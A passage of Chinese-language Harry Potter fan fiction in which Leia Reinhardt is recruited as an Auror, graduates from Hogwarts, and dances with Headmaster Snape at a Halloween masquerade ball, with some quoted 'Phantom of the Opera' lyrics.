这声音太过温柔,让蕾雅有些恍惚,如此温柔的人怎么会是傲罗办公室主任。 没等她来得及回答,皮克林已接着把话说下去:“其实之前在斯内普校长的审判会上我们就对你有印象,在看到你的成绩后,我们认为很应该亲自来和你谈谈。因为刚从斯内普校长那里查看了你的志愿表,你好像没有考虑过魔法部的任何职位,尽管莱恩哈特先生正在出任神秘事务司副司长。” “嗯……”蕾雅张了张嘴,悄悄地将眼珠转向身边的男巫放在两人之间的左手上,他指间的戒指映出一片壁炉的橘光。她愣了愣,不自觉地将自己的左手按在腿上,收紧拢在右手里,掩藏起跟他一对的戒指。 “我本来是想留在学校的。”她轻轻地回应。 斯威克女士笑了笑,接过说服女孩的任务:“我们已经从斯内普校长和金斯莱部长那里听说了你在大战及之前的战斗中的表现,认为你很优秀,也有实战经验。”她稍作停顿,端起茶水抿了一口:“特别是你在战时对邓布利多军的领导,对大规模魔法的熟用……还有,我听说你对魔药制作、摄神取念与大脑封闭术都很熟练?” 蕾雅整个人都僵住,变成一块空白的木头。是她从来没想过自己做过的事会以这样的形式被魔法部得知。她避开面前二人过于热切视线,不确定是否应该确认这些信息。 “不只是熟练,我敢肯定她的能力足以比得过任何一名在职傲罗,因为是我亲自指导的。”没想到是斯内普替她回答,他以十分正式严肃的口吻阐述道:“她在战争里的作用,我相信你们在审判会上已有所了解,没有必要再在这里浪费时间重复试探。且就像我刚才说的,我原本不愿意你们直接这样拉拢我的学生,如果不是考虑到——魔法部目前人手紧张。”话说到这里,他的语句透露出一股坚决的强硬,身上一贯的冷峻威压随之浮现。是蕾雅从来没有见过的一面。 “误会了,斯内普校长。”皮克林尽量将话语放得平缓,以缓和气氛:“您说的是事实,但我们只是觉得,基于她在大战里的表现和对魔法的天赋,以及她的NEWTs成绩——黑魔法防御、魔咒、变形、魔药都获得O,这成绩留在霍格沃茨实在是有点浪费。” 此时,蕾雅的眼角余光偷偷捕捉到斯内普不悦地抿成直线的嘴角,轻攥成拳的左手也明显表现出他的心情。 “恕我直言,莱恩哈特小姐。”斯威克女士更为平和地语重心长地道,“我认为你跟哈利·波特一样,天生适合成为傲罗。” “其实你也可以选择先做几年傲罗,然后再回来霍格沃茨任教,我相信这样也会有更好的成效。”皮克林拉出一个官方的笑容,双手看似诚恳地交叉在一起,身体也微微前屈,补充道:“而且,魔法部的工资比霍格沃茨的要丰厚不少。“ “阿奇博尔德。”斯内普的黑眸顿时闪过尖锐的寒光,他的眉毛蹙起,指尖在沙发上敲打出沉闷的两声,随后冷硬地警告一句:“当着霍格沃茨校长的面说这种话是否不妥?” “抱歉,西弗勒斯。我只是想跟孩子阐述实情,好让她全面考虑。”皮克林干巴巴地假笑一声,他靠回到沙发上,但目光一刻也没有离开蕾雅,好像在等她的回答。 这两位魔法部的人可真的是深暗言语的艺术。 先不提对她不绝的夸赞和金钱利诱的事,这前面的提议其实还算是真挚诚恳的。本来,她也并非讨厌战斗,只是从来没想过还会有机会去战斗……想到这里,蕾雅毫不退缩地直视他们,提出疑问:“可是我听唐克斯说过,成为傲罗至少要三年的训练?” “过去确实是这样。但由于战后人手不足,我们引入了一种特殊的考核方式,每年一次,只要达到标准就能提前成为正式傲罗。”斯威克耐心地解答,“而且,我们还在考虑是否应采纳一种基于特长的考核方法,比如说,像你这种对摄神取念熟悉的巫师,可以重点考核这一领域,对其他不够标准的领域可以适当放宽要求。” “我的意见还是跟上次开会说的一样。我建议你们慎重考虑任何改革的事。”斯内普的脸色阴沉了下去,毫不留情地说。显然是对这种欠缺考虑的做法持保留态度。 “我们当然会采纳您的意见谨慎行事,但您也知道,现在跟战前的情况不同了。”斯威克语气和缓,但字里行间都没有任何要退缩的意思,看来表面的温柔真的只是表象,坐在这个位置上绝非没有实力。 蕾雅的眼神游移在逐渐升起火药味的三人之间,最终踌躇地低声道:“呃,我……需要现在就做决定吗?” 斯内普抱起双臂,用那独有的凌冽神色凝视着魔法部的两人,好像也在进行同样的提问。 “当然不是,我们只是希望你能在做出最终决定前考虑一下这个选择。”皮克林摊了摊手,“只要你想,在这两周内回复魔法部傲罗办公室就行。或者,你想要来参观一下?我们也无比欢迎。” “或者给我写信也可以。”斯威克从她的大衣内口袋里取出一张名片,递给蕾雅。 蕾雅接过名片,郑重地点点头,说到:“好的,我会仔细考虑的。谢谢您们。” 斯内普稍稍地扫视一瞬身边人,正好看到她略带求救的眼神。他收回视线,随即清了清喉咙,用魔杖指挥着给面前两位的茶杯满上茶水,继而说:“好了,我相信二位的信息都传递到了吧?我记得你们有三个别的议题要跟我谈?让学生先回去吧。” “按您的安排,校长。”皮克林点头答应。 “那我先走了。”蕾雅迅速将卡片放进成绩单的信封,拿起放在旁边的玻璃罐子起身,向他们再次行礼后离开了房间。 …… 1998届霍格沃茨学生的正式毕业典礼选在了霍格沃茨万圣节舞会的这天,正好可以让毕业生们有个完美的纵情狂欢机会。 似乎梅林也有意赐予好天气,今天是个难得罕见的十月晴天,虽然温度快降到接近冰点。迎着熹微的晨光与洒满窗台的紫红色朝霞,本就有些失眠的三人一大早就起了床,正仔仔细细地穿戴上全套的格兰芬多校服。 “没想到这是我们最后一次穿它们了。”拉文德略带忧郁地叹息一句,穿好衣服后坐在镜子前编起头发。 “哦拜托,”赫敏假装不满地撇了撇嘴,正一丝不苟地绑领带,“别让我一大早就感伤起来,好吗?” 蕾雅没有接话,只静默着自顾自地盘起头发,穿戴整齐——灰色裤袜,衬衫塞进裙子,再穿上毛衣,领带,长袍,围上红黄相间的格兰芬多围巾。当她对着镜子端详着被校服遮掩的面容时,还难以自抑地生出许多不真实的感觉,几乎没有办法相信她就这样毕业。 当然,也没办法相信,她真的要成为一名傲罗。 自从那次皮克林和斯威克的拜访后,蕾雅和父亲与斯内普、麦格都商量过这件事,得出的最终的共识是累积一些实战经验总没有坏处。父亲倒是暗暗为她能在魔法部共事而感到高兴,虽然对于傲罗这一高危职业不无担心,但现在的魔法界的确是比战前安全很多。 而斯内普,则是很直白地希望她能去看看外面的世界,正如他当初对她说的话。虽然——他的确很不满意现在傲罗办公室的制度,但他也由衷地不愿意她跟他一般,将整个人生都局限在霍格沃茨——而最重要的是,只要她想回来,他随时都会同意。 她一点点环视着整理到差不多的空荡柜子,关于离别的不舍情绪就愈发浓烈,宛若一片被燎烧开的草原,一寸寸地沿着心房血管燃及每一个心细胞。 ——好不舍得。 这么一想,眼眸直接热了起来。 “还有你!别一大早哭鼻子!”赫敏大步走过来,从后面揽过她的肩,“别,惹,我,哭!蕾雅!” 两人身后的拉文德也走到她们旁边,欢快地调戏起蕾雅,“她哭什么呢,反正比我们都会常回来。” “就是啊。”赫敏捏了捏蕾雅的脸,忽而挂上一抹恶作剧的笑容,眼睛一转,压低声音揶揄道:“我也很想问她在哭什么呢,校长夫人?” “哇!”蕾雅瞬间从情绪里跳出来,连忙推开赫敏,恼羞成怒道:“赫敏,你胡说什么呢?!”大片的红色即刻在她的脸上摊开,一直扩散至耳根,比窗外的朝霞还要明艳几分。 “明明戒指都戴上了!”拉文德抓起蕾雅的手,摇摇头啧了一声,半开玩笑半认真地说:“动作真快啊,校长。”她故意提高音调,听着就像是电视剧里的那种八卦口气。 “我已经戴了两个月了!而且我才想问!”蕾雅毫不留情地回击两位,她先拎起赫敏的一只手,快速地捉弄起赫敏的腰:“我才想问!你跟罗恩什么时候结婚呢!嗯?”她又看向拉文德:“还有你——上次不是说妈妈给你物色了个魔法部的男巫?” 赫敏尖叫一声,迅速把蕾雅扑到床上,两个人在叠好的被褥间拧成一团。 “哦,别提了。”拉文德翻了个白眼,在两人前面叉起腰,径自回答:“太糟糕了,那人。” “你还没见呢!”蕾雅在躲着赫敏反击的间隙里打趣道。但她很快就没办法再兼顾拉文德了,因为赫敏完全不打算放过她:“赫敏!被子是我刚叠好的!——别揪我头发!弄乱了你帮我盘好!” “我才不管!”赫敏反驳。 “那个男巫写的信字太丑了,我连见他的欲望都没有。”拉文德漠然地耸耸肩,盯着面前闹得上气不接下气的两人,终于忍不住劝架:“——喂你们俩,别一早就像小孩子那样打架。倒是——我也很想问,赫敏,你不打算按照霍格沃茨传统,毕业就结婚吗?” “嗯?啊?”赫敏迅速按住蕾雅直直戳在她腰间的手指,顺便箍住蕾雅另一只手,看起来是胜负已分。她回过头,答道:“我俩打算先工作一阵再说。” 就这么打闹嬉笑,悲伤的氛围倒也是一下就被调和成带有回甘的欢愉。在公共休息室中与更多的小狮子汇聚后,一群人热热闹闹地窜进这座只剩一天可以好好探索的城堡,让一起跟来的科林·克里维替他们拍下一张张魔法照片。 他们跟公共休息室的壁炉、彩窗、狮子雕像、胖夫人画像等标志性物品一起合影,而后跑向城堡每一个曾留下难忘记忆的角落。 哈利和罗恩衬着一大早没人,爬上大厅的塞壬雕像和皮皮鬼合影了一张。 攀上大理石楼梯到达奖杯室,他们捧着好几年的学院杯和魁地奇奖牌合影了一张。 赫敏特地奔向厨房,与霍格沃茨的家养小精灵们合影了一张。 蕾雅也选择在图书馆和那架钢琴教室里合影了一张。 纳威带着他们到温室,每人捧着曼德拉草栽培盆合影了一张。 然后是大理石楼梯、天文塔、钟塔庭院、占卜课教室、魔药学教室、黑魔法防御课教室、魁地奇球场、海格小屋、黑湖前的草坪……任何这七年里发生过故事的地方。 最后来到礼堂的附近,恰到好处的午后灿阳掠过他们的身侧,洒满一地宽容而仁厚的光芒,暂时让草地上长久凝结不散的霜露都化得一干二净。 他们欢笑着来到四个学院的计分沙漏前,刚好碰到要前往催促他们来毕业典礼的麦格,和穿着庆典般金红色星月袍的邓布利多。于是,又添了一张合照——嗯,格兰芬多暂时分数领先。 几个人相互整理过仪容仪表,平复好呼吸和情绪,排成一列整齐走进礼堂。魔法天空下正飘扬着四院的旗帜,阳光透过彩色玻璃灌进礼堂,又被明灿饱满的南瓜簇拥成浓郁的金橙色调。但蕾雅毫不怀疑,这些现在看起来可爱憨厚的南瓜,今晚就会为万圣节增添上完全不同的奇幻氛围。 礼堂中央铺设着一条隆重的暗红色地毯,像是一条热烈的河流,一路延伸至教师席主桌边。地毯的两侧,是全部入座的家长们。蕾雅远远地就看见顶着一头耀眼金发的莱恩哈特副司长,他身旁是同样一头灿烂金发的卢修斯·马尔福和纳西莎,再过去些是红发韦斯莱一家,都在郑重地注视主桌前的斯内普校长。 教授们和四个学院的学生在安排好的位置坐下,接下来是邓布利多荣誉校长的致辞、而后是弗立维教授带领唱诗班的霍格沃茨校歌颂唱。本来还很洪亮的合唱,当唱到“教给我们一些有价值的知识”的时候,礼堂中莫名地响起此起彼伏的抽泣声。(2) 最后一次的校歌,传言说永远唱不完,今天看来是真的。 “哦梅林——”赫敏靠在罗恩的肩上,不断擦拭泪水。罗恩的鼻音同样响亮,擤鼻涕的声音直接让前排的乔治和弗雷德支起身回过头来,朝他比了个反的拇指手势调侃。 金妮安静地坐在哈利的旁边,两人紧紧牵手,从开始就不曾松开。 「别把鼻子擦破了」 斯内普的话显现在她的手环上面。蕾雅望向主桌的他,轻轻抹了抹眼泪,随即绽开笑容。斯内普没有再看她,整理了一下袍子便缓缓起身,他漫不经心地抬起手,耐心地静候着场上重归安静。 “记住,你们永远都是霍格沃茨的一份子,这里的大门随时为你们敞开。”校长的声音压过孩了子们的哭泣声,穿透一整个礼堂,是那么高扬而有力:“好了,都抬起头来。接下来,我们将进行颁发证书和花束。” 四位身着礼服的院长庄严地走到主桌前,按照学院顺序,依次叫唤毕业生的名字。毕业生一个接着一个起立,沿着中央红毯,在亲朋好友 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被唤到名字的人儿倏地站直,踩踏着如同烈焰般鲜艳的红毯往他前进。经过家长席,她见到莱恩哈特先生伫立着,正用手帕一次次擦过眼角,他的身体还会无意识地随着蕾雅的方向而缓缓旋转。更诡异的一幕是,卢修斯和刚镇定住情绪的亚瑟·韦斯莱正一人一边安抚起这位副司长。 看到这样的父亲,蕾雅突然就觉得这地毯实在有点太长,长到走着走着,眼睛根本没法阻止地越来越湿润。她在视野晕开的模糊中用力地向前,终于踩上教师席的台阶,但岌岌可危的情绪和羞赧却让她不敢去看斯内普,更不敢去看邓布利多和麦格,只好低下头盯着那熟悉的黑袍一角,接过他递出来的毕业证书。 她伸手握住,他并没有松手。 她这才讶异地抬起眼眸,斯内普勾起嘴角,他的指间稍稍用力,足以让她顺着力量的方向拉扯得更靠近他一些,正好能听见他用低沉嗓音轻声道出的话语:“毕业快乐。” 他很快松开证书,转而唤起纳威·隆巴顿的名字。 本来还能压住的情绪就在听见这句话的一刻猛然决堤,她大脑一空,很直接地哭了出来,吓到了后面给她递来捧花的邓布利多和麦格。他们连连慈祥地安慰她,麦格还像一位母亲般怜爱地捧起女孩的脸,仔细地替她擦干净眼泪。 而那位黑衣始作俑者呢,正忙着在后面欺负那个颤抖到忘记拿证书的纳威,就好像什么都没发生过那样。 仪式过后是合影和交流的环节。斯拉格霍恩教授的方位很快就被一群人围得水泄不通,另外这般壮观的人潮是哈利和韦斯莱、布莱克、卢平那边。雷格纳·莱恩哈特则不忘领着被离别气氛感染、哭得一塌糊涂的蕾雅返回教师席,一一向各科的教授道谢。 “邓布利多校长,斯内普校长,麦格教授,以及其他教授,感谢你们对蕾雅的培养。”眼泪过后的副司长依旧大方得体,保持着他一贯的风度。 “言重了,莱恩哈特副司长,蕾雅本来就跟您一样出色。”麦格教授含笑点头。 “我想,应该是我向你们父女表示感谢。”邓布利多乐呵呵地拍了拍雷格纳,又拍了拍蕾雅,末尾的视线却放在故意站远的黑发男巫那边。他和颜悦色地眯了眯眼,调皮地暗示:“不过,我相信以后我们还会经常见面的。” “我也深信不疑。”麦格毫不掩饰地笑着,鲜有地开起玩笑:“蕾雅要想真正离开霍格沃茨可能有点困难。不过,在傲罗的工作中要小心保护自己,好吗?” “嗯,谢谢麦格教授。”蕾雅已经害羞到说不出更多的话,只得侧过脸,刻意不去看一言不发的斯内普。 等到事情差不多结束,两人一起送雷格纳离开学校,也正好溜出拥挤吵杂不堪的礼堂——梅林知道斯内普有多讨厌这种场合。他不得不戴上社交面具,显然,方才与马尔福、格林格拉斯及其他几位家长的交流已耗尽他不多的耐心。 “那么,明天家里见,宝贝。”雷格纳停在幻影移形的区域,整理过黛青色西装后回头望着两人,“好好享受今晚的晚会,妈妈特意给你挑了一条裙子。” “嗯,家里见。”蕾雅此时紧抱一个快跟她差不多大的硬纸袋,毕业证书被她塞在其中,捧花则被礼貌的斯内普校长帮忙拿着。 “还有,谢谢你,西弗勒斯。”雷格纳谦和地露出笑容,“我知道你在她职业选择上也给了很多建议。” “那不算什么。”斯内普稍稍扬起下巴,“回去吧,不是有工作没完成吗?” “你说得对,我确实得走了。”雷格纳捻起魔杖,“那么,你也是,家里见。” “好。” 两个人慢慢地返回城堡,他准备送她回公共休息室。 日光已在这个时候沉落下来,化为醇厚和煦的一捧暖橘色披在两人身上。两人的影子被倾斜着投在古老的墙砖,随着太阳高度的变化渐渐融合成长长的一道暗色,却很快就由于光线的消失而凋零。就像玫瑰枯萎般的苍凉,一点一点,墙砖和影子都变成丑陋荒颓的灰蒙。 她在这些细碎的斑斓和晦暗中越走越慢,手指无意识地剐蹭沿途所能触及的每一物,目光流连于沿途所能望及的每一景。高悬的天花依旧垂挂着明暗的烛台,墙壁上那些画像们正在对他们亲切地微笑或点头。白昼奏起的欢乐终会在黑夜消沉的光影中褪去,就像楼道中渐行渐远的笑声。 她的心中盈满不舍,所经过的每一扇门、每一段楼梯都承载着无数的回忆,却又记不清楚到底都发生过什么。 他放慢脚步陪伴她,丝毫没有在意一路上多少投过来的好奇眼神。快走到格兰芬多塔楼,他才回过头,“不用这么舍不得,” 其实,要不是还在霍格沃茨城堡里,要不是她还穿着校服,他毫不怀疑自己会立刻抱住她,但现在,他只能以言语安慰这只眼睛都快哭肿的小狮子,“你我都知道你日后还会常回来的。”他缓声说。 她应声抬起眼眸,迎上那双深沉的黑色眼瞳,“可是,这是我当学生的最后一天了。”她的嗓音残留一丝哽咽。 “总有前行的时候。”斯内普低低地说,还是决定故意嘲讽道:“我建议你现在最好稳住情绪,至少为了晚上。我可不想——” 她被这句话吸引了注意力,连忙追问:“你不想什么?” “没什么。”斯内普轻咳一声,回过头继续爬楼梯,随即突兀地转移话题:“袋子里是今晚的衣服?” “嗯。”蕾雅知道他话里有话,但她知道就算她追问,以斯内普的性格,他故意不想说的话是问不出来的。于是,她随他的话瞄一眼怀中物品,确认道:“看来是一条黑色的礼服,说是妈妈特意挑选的。” “上次,”他握在捧花上的手指动了动,故作平静地问道:“也是你母亲选的?” “上次?”蕾雅一愣,没有立即反应过来。她思索片刻,才意识到他大概在问庆祝胜利晚会的那次,轻快地反问:“嗯,好看吧?” 斯内普低哼一声,没有再说话,一直沉默,直到将她送了回去。 …… 今晚注定是一场浩大的万圣节假面舞会,因为主负责人是斯拉格霍恩教授。刚恢复身体康健的他大概也恢复了一贯大手笔,而已然回到正轨并且获得许多资助的霍格沃茨,慷慨地允许他将这一事实体现到舞会的布置装饰。 礼堂前的长廊和庭院都挂满万圣节南瓜灯和悬浮的蜡烛,更多的魔法烛火随着空气的流动而缓缓移行,像是梦幻般的银河那样流光溢彩,连白天毫无生气的草坪都被重新装点成一整片浮动的炫目光斑,不时有跃出的暗色灯笼和幽灵形状的烟火一闪划过。 靠近礼堂,门廊被长长的丝带和高低错落的金色帷幔装饰得如同幻境般迷蒙,奇异的雾气弥漫其中。随着人群的走动雾气连带帷幔一道道掀开,而后又重新规整。就像是这个境界在有生命力地主动迎接每一个步入这场万圣夜舞会的幽灵和活人。 赫敏身穿烈焰般的红色长裙,带着一个装饰着红宝石的蝴蝶形状眼罩。她正挽着一身深红色西装的罗恩,外套的领口别着一枚与赫敏眼罩匹配的小蝴蝶,面具则是一副骷髅的形状。 哈利是一副优雅绅士的装扮,高礼帽上装点一根巴克比克的长毛,这肯定是布莱克亲自为他搭配的。他身边的金妮像个小公主,镶嵌着金色丝线的白纱过膝礼裙轻盈垂下,脸上是同样洁白的假面,显得她的一头红发愈发鲜红。 在蕾雅不紧不慢地拨开雾气系上她的假面眼罩时,哈利已经伸手推开礼堂那扇厚重的橡木门。 见到毕业生们一一步入大厅的时分,指挥台上的弗立维教室立即干净利落的垂下手臂。顷刻间,全部的乐器,台上的唱诗班,舞池里的人,食物桌上的小仙女,墙边上的魔法南瓜和蜡烛,地板上扑闪灵动的星光,还有韦斯莱魔法把戏坊特供的鬼面烟花,都在这一刻被灌入生命力般动了起来,令人眼花缭乱。 “亲爱的安德烈,何其华美的盛宴! (Dear André, what a splendid party!) 犹如新年光辉的序曲! (The prologue to a bright new year!) 多么绚烂的夜晚,令人印象深刻! (Quite a night, I''m impressed) 我们总是竭尽所能! (Well, one does one''s best!) 为我们举杯,我们是这座城市全部的荣耀! (Here''s to us. The toast of all the city!) 假面舞会! 纸做的面具列队游行! (Masquerade! Paper faces on parade)”(3) 蕾雅被这浩荡高昂的歌剧合唱和金碧辉煌的内部装潢震撼不已,她还在原地木讷地踌躇,周围的学生们已经欢喜雀跃地成对滑入舞池。 她晃晃脑袋,往前穿过迷雾、挤过人群,找到一个相对没有那么拥挤的地方。她从这一侧望去,一眼就目见站在教师席上邓布利多穿着绛紫色的骑士袍,同色调的宽大的骑士帽几乎夸张地盖住他一半面容。邓布利多正忙着跟麦格教授说话,没有注意到蕾雅的关注,但就在他的身边,她已然找到—— 一袭黑袍,在如此鎏光旖旎的空间中显得分外的神秘。毫无粉饰的银白假面弥散着冷光,像是禁闭之地深邃的阴影,又像幽森山谷寒凉的蛊惑。(3) 只是,他的目光焯焯,穿透所有的喧闹与躁动,定定地撞在她的身上,仿佛隔岸点燃的火花。 77.最后一课 “尽情吸收,尽情沉醉,直到你淹没? (Drink it in, drink it up. Till you''ve drowned)? 在光中,在声音中? (In the light. In the sound)” 银色的。不,黑色的。 像一只天鹅。不,像一只小猫。 可脖颈的项圈(choker)上垂落在锁骨之间的吊坠,是一只小蝙蝠,他看得真切。 随意挽起一半的长发编成几股,又用黑丝带松散地盘起小巧的发髻。蕾丝与羽毛编织而成的黑色眼罩上有点缀的银色细钻。刚才一下就夺走他注意力的镂空项圈是和眼罩同样的工艺绣成,紧紧环绕着她纤细的颈骨。 项圈之下,抹胸黑色礼服大方地露出一双修长的手臂,复古的腰封和紧系在背后的束绳又描绘出她同样美好的曲线。不时有隐现的钻石银链倾泻而下,沿着层叠错落的黑纱裙四散坠落,宛若天幕灰暗中的长恒辉光。同色系的芭蕾式小高跟,宽系带上有反射出的柔和色泽,沿着她的脚踝缠绕交叠,逐渐消失在被高开衩裙摆掩盖的腿间。 这一身的黑色,却衬托得她的肌肤愈发如凝脂般白皙和温润。她就这样毫无防备地对上他灼热的视线,黑色薄纱手套轻掩面前,是红唇妩媚,绿眸含笑。 好像,一种诱惑。又好像,是在邀请他。 “但谁能辨认出那张面孔?? (But who can name the face?) 假面舞会!? (Masquerade!)“ 一声整齐的呼喊,唱诗班高昂的歌声震撼鼓膜,男人的身形在陡然的厉声中微微一顿。回过神来,大厅内满满地充斥着各种歌舞和笑语声。 嬉闹、谈笑、起舞、推搡。幽灵们轻快地穿行其中,现世的所有人或鬼都在交杯共饮。兴高采烈的霍格沃茨学生们化身为各种中世纪的幽灵、妖精、女巫、国王、士兵、牧师、小丑和贵族。每个人都佩戴着夸张的面具,有装饰着的猫头鹰翎羽,山羊角形状的帽子,像是兔子耳朵的眼罩,以及各种形状奇特俏皮的面纱。 他尝试从她身上抽回注意力,左手边,德拉科·马尔福选择了一套银灰色的礼服,与一身墨绿绸缎长裙的阿斯托利亚·格林格拉斯十分匹配。右手边,纳威·隆巴顿穿得像一棵曼德拉草,尤其是那硕大的、还带有几片草叶子的褐色顶帽,倒是与兔子装扮的卢娜·洛夫古德相得益彰。而舞池里,救世主男孩四人组高举酒杯,换着舞伴旋转过好几个圈。 “假面舞会!沸腾的阴影,呼吸着谎言? (Masquerade!Seething shadows, breathing lies)? 假面舞会!你可以欺骗任何曾了解你的朋友!? (Masquerade!You can fool any friend who ever knew you!)” 随着激昂的歌声攀升到达顶峰,奇装异服的人更欢快疯狂地在舞池中攒动跳跃,如此纷纷攘攘、百花缭乱。而今天,他已然没有任何需要谈的资助,甚至没有任何非霍格沃茨现任师生的人出现在场。于是黑发男巫只好百般聊赖、漫不经心地游走视线——最后,悠悠地又晃到她的身上。 她好像已经知道他不会有更多的举动,便拉着同样一人的拉文德开过几句玩笑,随后转过身,独自走向摆放食物长桌。袅袅的雾气在她身边翻涌而起,南瓜灯的光晕是那样明灿,伴随音乐的节奏颤动着抖落下来,远看倒变成一场无法抑制的金色旋涡。 只见,红酒杯在她的黑手套中晃过一圈圈涟漪,深色的液体缓缓抚过她的嘴边,象征成熟的红色染透了她唇与脸侧。男人感到一阵喉间紧绷,有什么陌生又熟悉的悸动开始不住地敲打他,藏在黑袍中的手掌于腿侧无意识地刮擦数次。 他从来没有如此想到她身边过。 “别担心,今天不会有人说什么的。你看,纳威都邀请斯普劳特教授跳舞了。”白胡子上系着绛紫色大蝴蝶结的老巫师温和地劝慰道。顺着他暗示的方向,的确又有好几对教授和毕业生们滑进舞池。尤其是布莱克,被无数高年级女生缠得不胜烦扰的他都换过几拨舞伴了。 “不劳你费心,邓布利多。”男人冷斥一句。未等邓布利多和麦格离开加入狂欢,他已猛然转身,黑袍在他身后划出一道凌冽的波涛,有冷酷的气息破开缭绕的迷雾。 “假面舞会!窥探的羞鬼,凝视的眼睛? (Masquerade! Leering satyrs, peering eyes) 假面舞会!奔跑并隐藏——但仍有面孔追逐你!? (Masquerade! Run and hide—but a face will still pursue you!)” 香槟是一如既往的芬芳清透,只是今晚的红酒太过辛辣,一口入喉,醇厚和涩感同时直冲鼻腔。蕾雅不自觉地伸了伸舌头,喝到一半的时候,她感到一阵眩晕,只好将酒暂时搁置。她边随着合声哼唱,边忙着扫视眼前过于丰盛的食物长桌,想找一些芝士或者火腿冷盘调和口感。 其实,她的内心正盘算等喝完这杯酒,她就会借助酒精带来的胆识,跑去教师席上将他揪下来一起跳舞。一支就好,她会执着地恳求他——鲁莽的格兰芬多永远不会允许自己留有什么遗憾,尤其是在学生时代的最后一天。 芝士在舌尖缓缓融化,醇香的奶味和一点点的咸涩。她舔舔嘴唇,不紧不慢地用竹签挑起一片颜色正佳的薄火腿放入口中。然后,脑中继续编织起对他撒娇的话语,漫不经心地伸出手去重新拿起那杯红酒。 “我以为经过上次,你会对自己的酒量有清楚的认知。”男人的声音冷不丁地在她的身后响起,正当她回眸的片刻,他的大手已经悄声无息地顺走她的酒杯。 “啊!校长您好。”她心虚地对他吐了吐舌头,带着假装的礼貌和客气和他打招呼。见他没有继续开口的意思,她自顾自地专心咽下口中的火腿肉,用眼尾看剩余的酒液一点点消失在他的喉中。 “我只是……”她鼓了鼓嘴,鼓起勇气转身背靠桌沿,垂下的手无意中拨弄起桌布上的皱褶。 “你只是什么?”斯内普撂下空杯子,侧着头紧盯她。虽然假面遮住他的脸,但蕾雅还是能想象到他标志性挑眉的表情。 这个时候,开场的歌剧和玩笑的韦斯莱烟火在渐渐淡出,舞台上的唱诗班有序退场,弗立维教授微笑着转向另一边的弦乐队。紧跟他抬起的指挥棒,场上的音乐慢慢转为悠扬婉转的圆舞曲,是《第二华尔兹》,大提琴的声音浑厚优雅。 大厅里的光线随之逐渐暗淡下去,南瓜灯变为只剩下能看清鬼脸的昏光。只有舞池中的那块区域还被地板的星辉映出勉强能看清四周人群的亮度,场中的舞者们已转为跳起交谊舞。 在这一片的昏暗和雾中,两个人偏回脑袋,他们不知不觉地靠得更亲密,她几乎能闻到他身上清冽而苦涩的气息。她在低光中扬起下巴,直视那神秘冷峻的假面,好像是在等待着他的话。他清了清嗓子,也低下眼帘,目光落在饱满的红唇上,好像是感觉到她有要对他的请求。 两人静默一阵,似乎被暂时抛到静止的时间之河,谁也不知道是不是该先打破沉默。这时,一声厚重的鼓击兀自撼动空气,两人也因此而错愕一瞬,随即对对方牵起一个轻笑。 “你不想……” “你想……” 话语无需说完,因为她的手已经被握在他递出的左手里。 裙摆在袅绕的云雾之中舒展开,暖橘的光影随着她的舞步扑朔在他的眼前。他温热的手扶在她的腰间,以百分之百的理智配合她的舞姿。 他们的配合渐渐完美同步,她胸前的蝙蝠吊坠跟随二人的动作小幅度摆动,大概是黑曜石吧,在一片梦幻朦胧的光间坚定地闪烁。他注视着这样也许是象征他本人的物件,她却趁机靠得更近。 顷刻间,大片的浅白柔肤钻进他的视野,她身上的罗勒与柑橘绣球的香气毫不犹豫地萦绕在他的鼻尖。他立即错开视线,又瞥见一张被酒精和没有按捺住的喜色侵染得潮红的脸。她双眼明亮,唇间微喘,他只得稳住思绪,转而看向她耳垂坠饰的银针,却依然觉得这就像是沉坠到他内心深处的陨星,一下下挑动他那并不平静的心弦。 天鹅。诱人的黑天鹅。 又或者,是蛊惑的小猫。 “原来,”她抬头望他,见到他眼中敛住的情绪和抿平的嘴角,大概明白斯内普现在是想尽力在其余人的关注中隐藏他们的关系。 可是,又怎能不被发现呢? 假面根本难以掩盖他如此与她默契的动作,他在她腰间的戒指泛着暖光,只幸好她现在戴着手套。但始作俑者的邓布利多和麦格教授早已在另一边乐呵呵地带头看热闹。小狮子们都惊讶到停止舞蹈张大嘴巴,而顿住的斯拉格霍恩教授差点踩到平斯夫人。一直观察场上动静的弗立维教授,加快的指挥差点让演奏的人没跟上。 还有,推开包围圈去拿食物的布莱克,正表情复杂地望着这边,一脸了然温和的卢平默默地陪他喝起冷酒。 “原来?”他暂时忽视周围的情况,低声说。 “原来,你傍晚说的是这个呀。”蕾雅轻快地眨眨眼,决定拆穿他:“所以,你当时是想说‘我可不想,跟哭肿眼的你跳舞’吗?” 斯内普有一瞬的错拍,随即故意衬着一段长节奏引导她转了个圈,好让她背对他,仿佛这样就不会受到任何的诱惑似的,“别再说话,莱恩哈特。”他说,“虽然我很庆幸你原来知道自己哭的样子。” “那我也只能尽量。”她索性向后紧贴他的胸前。听着耳侧他沉闷急促的心跳,她眼睛一转,调皮地捏了捏他放在腰侧的手,“但至少请允许我感慨一下,校长。没想到你的舞步这么好。” 梅林,他怎么这么烫,就是隔着手套,她都能感觉到他的热度。 “让我提醒你,莱恩哈特。”他低下头,声音压在她的耳边,“有很多人在看着我们。” “我知道。”她拉着他的手转圈,重新面向他,跟随旋律的起伏迈着轻盈的碎步向前。她顺势踮起脚,明眸微微晃动,用轻到只有两个人能听见的音量说:“可是,现在忍不住想要吻我的,可是你呀。”她吐出的气息轻柔地扑在他的耳边。 斯内普的嘴角就在这一瞬间下沉得愈发厉害。蕾雅察觉到他的变化,识趣地退回安全距离,搭在他肩上的手却仍一下下摩挲着他的长袍,唇边是一个灿烂温暖的笑容,“或者说,其实是我?我想要……” 男法巫师的瞳孔在这一刻瞬间扩大,也木然地停住一切动作,让她差点踩着他的皮鞋撞进他的怀里。他堪堪稳住两人的平衡,闭了闭眼,深吸一口气,随后手间稍加力度地掐了她一下,想阻止她更多的胡闹。 你看,绝对是小猫,狡黠的,明明是她在捣乱,结果反倒是他成了坏人。 所幸舞曲终于在这个时候渐渐减弱,弗立维教授端正地鞠躬,用他那独特的尖嗓子宣布:“接下来我会将舞台交给大家最喜欢的,古怪姐妹!”他挥了挥手,但还来得及没走下指挥台,古怪姐妹一跃到台上,接过演奏任务。 吉他和密集的鼓声顿时响彻全场,曲风猛然一转为摇滚风格。场上立即爆发出震耳欲聋的掌声和欢呼,弗立维教授被涌动的人群托举而起。这些不知疲倦的学生洋溢着生机勃勃的活力,比开场更为激烈热闹地扭动热舞。 但这种欢闹并不是两人的风格。于是,他趁着这阵躁动,拖着她悄声无息地从礼堂的侧门离开。 他拉起兜帽,走到大理石楼梯的一处昏暗死角,将她按在那里。 